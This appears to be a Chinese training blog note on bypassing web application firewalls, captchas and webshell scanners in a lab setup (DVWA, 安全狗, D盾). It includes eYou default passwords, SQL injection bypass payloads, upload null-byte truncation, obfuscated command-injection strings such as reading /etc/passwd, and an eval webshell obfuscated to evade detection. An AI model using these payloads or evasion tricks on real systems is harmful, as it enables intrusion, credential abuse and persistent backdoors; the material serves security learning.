第十二周 waf绕过和前端加密绕过

一.CTF

CTF(Capture The Flag,夺旗赛)是一种在网络安全领域中非常流行的技术竞技比赛形式。它起源于1996年的DEFCON全球黑客大会,旨在替代之前黑客们通过互相发起真实攻击进行技术比拼的方式。

CTF比赛主要有三种竞赛模式:

  1. 解题模式(Jeopardy):参赛队伍通过解决网络安全技术挑战题目来得分,类似于ACM编程竞赛。题目主要包括逆向工程、漏洞挖掘与利用、Web渗透、密码学、取证、隐写、安全编程等。

  2. 攻防模式(Attack-Defense):参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,同时修补自身服务漏洞进行防御来避免丢分。

  3. 混合模式(Mix):结合了解题模式与攻防模式的CTF赛制,参赛队伍通过解题获取初始分数,然后通过攻防对抗进行得分增减。

好了,我来推荐一个网站,可以用来练习习题:CTFHub

从这个网站我们可以看到什么时候有赛事,且有练习题

实验:

然后发现其特征,发现是eYou,我们可以找它的默认网关。

admin:+-ccccc

eyougw:admin@(eyou)

eyouuser:eyou_admin

然后就成功了。

所以当我们发现一个登录界面的时候,不用直接就开始爆破,可以根据特征,来找它的默认口令,用默认口令来试一下

二验证码绕过

1.实验:

phpstduy搭建yxcms,使用nginx,php版本选择5.x即可

读取验证码的工具

2.captcha-killer-modified

介绍

captcha-killer-modified 是一款用 Java 编写的Burp 插件 ,其设计理念专注于各种验证码识别技术接口的调用。具体而言,Burp 通过这一个插件,即可适配多种验证码识别接口,无需重复编写调用代码。就是识别验证码的,不过要注意,这个插件识别验证码并不是100%的,偶尔人会出错。如果不喜欢这个插件可以直接找商业的:GitHub - hlmsbrnd/yanzhengma: 2025年最好用的验证码识别平台【整理汇总】

下载地址:Releases · f0ng/captcha-killer-modified

首先打开已经下载好的所在处,打开cmd输入

复制代码
 pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
python codereg.py

然后再打开burp,找到扩展,把下好的插件装好.

登录网页

先随机登录,等到服务器端把验证码图片重新发过来,我们利用burp抓捕,然后传到扩展里,点击send to captcha panel

3.爆破攻击

发送到重放器里面

发送到Intruder

攻击类型选择 Pitchfork,由于验证码和请求绑定,因此不能使用多线程,只能单线程爆破。

不过有可能因为验证码错误而导致登录失败。

1.我们可以根据长度来重新发

2.用商业的来整

只不过换一下接口

3.进入后台并getshell

三waf绕过

1.什么是waf

WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。

二、什么是 "WAF 绕过"?

"WAF 绕过" 就是 "坏人"(攻击者)想办法骗过门口的保安(WAF),让带有恶意的请求成功进入网站,从而达到攻击目的。

三、常见的 "骗保安"(WAF 绕过)方法

  1. 伪装术(编码混淆) 把恶意代码 "化妆",改变它的外在形式但不改变功能。比如把攻击代码里的<script>写成 HTML 编码格式,或者把字母换成数字表示(比如 "A" 变成 "%41"),让保安认不出这是恶意内容。

  2. **走侧门(非常规入口,例如狗洞之类的)**不通过网站常用的 "正门"(比如默认的 80 端口、443 端口),转而尝试 "侧门" 或 "后门"(比如 8080 端口、8888 端口);也不使用常规的请求方法(GET/POST),改用 PUT/DELETE 等不常用的方法,绕开保安重点检查的入口。

  3. **分散注意力(请求分割)**把一句完整的恶意代码拆成好几部分,分多次发送给网站。就像把 "我要攻击" 拆成 "我"+"要"+"攻"+"击" 分别发送,让保安看到单部分内容时,误以为是正常信息,从而通过检查。

  4. **找保安盲区(规则探测)**先发送一些简单的测试请求,观察保安(WAF)会拦截哪些内容、放过哪些内容。通过多次测试和调整,逐渐找到保安 "不管" 的内容或规则漏洞,再用符合漏洞的方式发送恶意请求。

四.安全狗为例子

这里我们先下载waf为例子,我用的是安全狗:网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

我们下载的是apacha版本的,所以下好后,先得配置phpstudy。

默认情况下,phpstudy 没有将 Apache 以服务形式安装,而安全狗需要 Apache 以服务形式启动才能顺利安装,因此需要手动操作来安装 Apache 服务。(安装过程当中必须得检测到,但是这玩意并不需要apache服务)

  • 关闭 apache 程序及 httpd.exe
  • 进程进入 D:\phpstudy_pro\Extensions\Apache2.4.39\bin 目录

执行

复制代码
 httpd.exe -k install -n apache2.4.39

整好后启动服务

然后开始下载安全狗

安装完后记得禁用或者直接删除,不然会影响php的使用

五.安全狗的表现

启动dvwa来作为靶场

在sql注入输入1' and 1=1 --- a会出现。

六.WAF绕过sql注入

已经看到它的能力,接下来整如何绕过它.

1。/*! */ 被称之为内联注释

在 MySQL 中,/*! */ 被称之为内联注释,里面的内容是会被 MySQL 解析的。解析情况分为以下两种:

1.1带版本号的内联注释

注释内以 "版本号" 开头,后跟 SQL 语句,这里的 "50001" 代表 MySQL 5.0.1 版本,只有当当前 MySQL 版本大于或等于输入的版本号( 5.0.1) 时,注释内的 DISTINCT 关键字才会被解析执行;

复制代码
SELECT /*!50001 DISTINCT */ username FROM users;
1.2不带版本号的内联注释

注释内仅包含 SQL 语句,其他数据库是会被忽视的 。这种情况下,无论 MySQL 版本如何,注释内的 username 都会被当作正常 SQL 部分解析执行,效果等同于 SELECT username FROM users;

复制代码
SELECT /*! username */ FROM users

2、绕过联合注入

输入

复制代码
11' order by 1 -- a

把order by 换为 group by 利⽤group by直接绕过

复制代码
1' group by 2-- a
复制代码
1' union select 1,2--+ 报错

而先来了解一下 regexp(正则函数),分别在数据库中执行下列语句。

复制代码
SELECT * FROM users WHERE user REGEXP 'a';
select * from users where user like "%a%";


加入的REGEXP "%0A%23" 或者LIKE "%0A%23"并没有实际意义,也没有进行正则匹配。单纯是为了绕过检测,因为安全狗不检测%23后的内容。%23用URL为#。

复制代码
1' regexp "%0A%23" union select+*/1,2-- a 会被拦截

在使用内联注释

复制代码
1' regexp "%0A%23" /*!11144union %0A select */1,2-- a

获取数据库,还是被拦截的话

复制代码
1' regexp "%0A%23" /*!11144union %0A select */database(),2-- a

继续使用内联注释

复制代码
1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)-- a

七.WAF绕过XSS攻击

输入,发现失效

复制代码
<script>alert(1)</script>

1.利用00截断绕过

其他的几乎都在最新版本失效。利用burp进行抓包,发现并不是代码的问题,哪怕是空的都不行。

虽然换成jpg可以,但是不解析代码而无用,这时候就可以用00截断了。将文件名称改为one.php;%00.jpg(不是很准确,可以删掉;)。不过记得把%00转换为urldecole

八.WAF绕过命令执行

复制代码
system() #输出并返回最后⼀⾏shell结果
exec() #不输出结果,返回最后⼀⾏shell结果,所有结果保存到⼀个返回数组⾥
passthru() #只调⽤命令,把命令的运⾏结果原样输出到标准输出设备上
popen()、proc_open() #不会直接返回执⾏结果,⽽是返回⼀个⽂件指针
shell_exec() #通过shell执⾏命令并以字符串的形式返回完整的输出
反引号 #本质是使⽤shell_exec()函数

1.命令分隔符
Windows : &&   ||   & |
Linux : && ||   & | ;
分号 ; 在 shell 中担任连续指令的功能
2.拼接

复制代码
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

3.编码

复制代码
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)

4.单引号、双引号绕过

复制代码
cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt

5.反斜杠绕过

复制代码
cat te\st.txt
c\at te\st.txt

6.通配符绕过

复制代码
cat /etc/pass*

Windows命令执行绕过

复制代码
w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)


set a=who
set b=ami
%a%%b% //正常执⾏whoami
call %a%%b% //正常执⾏whoami

九.WAF绕过脚本免杀

这个我们使用D盾:D盾防火墙

扫描一个木马,可以看出D盾扫出来了。

然后尝试对脚本进行免杀处理

复制代码
<?php
 $name = $_POST[1];
 $name = substr($name,0);
 eval("echo 123;" . $name."echo 456; " );>

就从后门文件将为可以文件,级别也变低了。在实战中可能会躲避检测。

再次对文件进行混淆模式,就是把代码混成我们自个都完全看不出来的样子,让WAF无法识别出木马的特征,从而绕过脚本免杀。在线php混淆:在线PHP代码混淆加密工具 - UU在线工具

如果发现D盾还是可以发现木马,那就在找个网站来混淆试试。:PHP混淆工具 - 终极版。这是我自己找到的.如果有问题概不负责。

再尝试一下

没有出现2.php证明混淆成功.利用蚁剑连接,证明2.php没有因为混淆从而失效。

十.WAF绕过漏洞扫描

通常在实战中,当我们需要进行漏洞扫描的时候,常常被 WAF 产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取 WAF 绕过扫描。

触发 WAF 的原因:

  1. 漏扫线程过大被封禁。解决方法:延时,低线程,使用代理池,白名单扫描
  2. 工具指纹被 WAF 识别被封禁。解决方法:指纹特征修改,模拟用户漏扫
  3. 漏洞单点 payload 特征被 WAF 识别封禁。解决方法:数据变异绕过,多种工具集合扫描尝试。

1.WAF绕过漏洞扫描实践
使用代理池: 快代理 - 企业级HTTP代理IP云服务_专注IP代理11年

2. 更换user-agent
有些扫描工具的UA是固定的,且存在特征。

复制代码
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTM
L, like Gecko) Version/10.1.2 Safari/603.3.8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML,
like Gecko) Chrome/18.0.1025.45 Safari/535.19
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/2008
1201 Firefox/3.1b2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTM
L, like Gecko) Chrome/5.0.375.86 Safari/533.4
Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

3、修改漏扫特征指纹

4、降低线程,扫描敏感度,使用流量代理转发

5、使用冷门工具代替常见漏扫工具。

相关推荐
Asort2 小时前
JavaScript设计模式(十六)——迭代器模式:优雅遍历数据的艺术
前端·javascript·设计模式
Coffeeee2 小时前
Labubu很难买?那是因为还没有用Compose来画一个
前端·kotlin·android jetpack
我是日安2 小时前
从零到一打造 Vue3 响应式系统 Day 28 - shallowRef、shallowReactive
前端·javascript·vue.js
开源之眼2 小时前
深入理解 JavaScript 报错:TypeError: undefined is not a function
前端·javascript
LRH2 小时前
时间切片 + 双工作循环 + 优先级模型:React 的并发任务管理策略
前端·react.js
用户3421674905522 小时前
Java高手速成--吃透源码+手写组件+定制开发教程
前端·深度学习
却尘2 小时前
当你敲下 `pnpm run dev`,这台机器到底在背后干了什么?
前端·javascript·面试
歪歪1002 小时前
React Native开发有哪些优势和劣势?
服务器·前端·javascript·react native·react.js·前端框架
却尘2 小时前
Vite 炸裂快,Webpack 稳如山,Turbopack 想两头要:谁才是下一个王?
前端·面试·vite